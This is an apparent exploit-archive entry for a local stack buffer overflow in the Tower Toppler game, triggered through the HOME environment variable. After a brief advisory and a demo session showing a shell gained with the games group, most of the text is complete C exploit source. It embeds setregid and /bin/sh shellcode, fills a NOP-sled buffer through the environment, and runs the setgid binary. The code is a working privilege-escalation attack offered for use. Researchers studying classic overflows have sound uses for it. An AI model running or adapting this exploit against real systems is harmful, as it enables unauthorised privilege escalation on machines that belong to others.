Local buffer overflow in Tower Toppler allows privilege escalation via HOME environment variable.
// source: https://www.securityfocus.com/bid/8132/info
A problem with the software may make elevation of privileges possible.
It has been reported that a buffer overflow exists in Tower Toppler. A local user may be able to exploit this issue to execute code with the privileges of the toppler program.
/*
LOCAL TOPPLER EXPLOIT
A Buffer overflow in HOME enviroment variable.
Just your standard stack overflow...
[bobby@blah Code]$export HOME=`perl -e 'print"A"x144'`
[bobby@blah Code]$ /usr/bin/toppler
Nebulous version 0.96
Segmentation fault
Should give a GID=20 on successful exploitation.
[bobby@blah Code]$ id
uid=501(bobby) gid=501(bobby) groups=501(bobby)
[bobby@blah Code]$ ./FBHtoppler
Using address: 0xbffff81c
sh-2.05b$id
uid=501(bobby) gid=20(games) groups=501(bobby)
Kinda weird but could be useful in some situations...:P
SYSTEM TESTED ON:
Mandrake Linux release 9.0 (dolphin) for i586
Greetz: USG , DarkCode , DkD , Johan , s4t4nic_s0uls , Dj king , hein
, hyperd0t ,
RunningMan(thanx for the java), kafka ,Cc0d3r ,wazzabi(thx for the rza
album)
also , greetz to the dtor team.
Not forgetting all of the FBH crew too.. heh .pk rules!!!
[email protected] , comments + criticisms welcome :P
*/
#include <stdlib.h>
#include <stdio.h>
#define DEFAULT_OFFSET 0
#define BUFFER_SIZE 250 // buffer is 144 , made larger
by 100+ for easy exploiting
#define EGG_SIZE 2048
#define NOP 0x90
#define ALIGN 1
#define BINARY "/usr/bin/toppler" //path to binary
char shellcode[] =
/*setregid(20,20) shellcode by me */
"\x31\xc0" /* xor %eax, %eax */
"\x31\xdb" /* xor %ebx, %ebx */
"\x31\xc9" /* xor %ecx, %ecx */
"\xb3\x14" /* mov $0x14, %bl */
"\xb1\x14" /* mov $0x14, %cl */
"\xb0\x47" /* mov $0x47, %al */
"\xcd\x80" /* int $0x80 */
/* Shellcode by Aleph One */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buffer, *ptr, *egg;
long *address_p, addr;
int offset= DEFAULT_OFFSET, bsize= BUFFER_SIZE;
int i, egg_size= EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) egg_size = atoi(argv[3]);
if (!(buffer = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(egg_size))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buffer;
address_p = (long *) (ptr+ALIGN);
for (i = 0; i < bsize; i+=4)
*(address_p++) = addr;
ptr = egg;
for (i = 0; i < egg_size - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buffer[bsize - 1] = '\0'; // '\0' or else there wil be trouble
egg[egg_size - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg); // put our made egg in the env
memcpy(buffer,"HOME=",5);
putenv(buffer); // put our prepared buffer in env
execlp(BINARY,BINARY,0); // execute it
}
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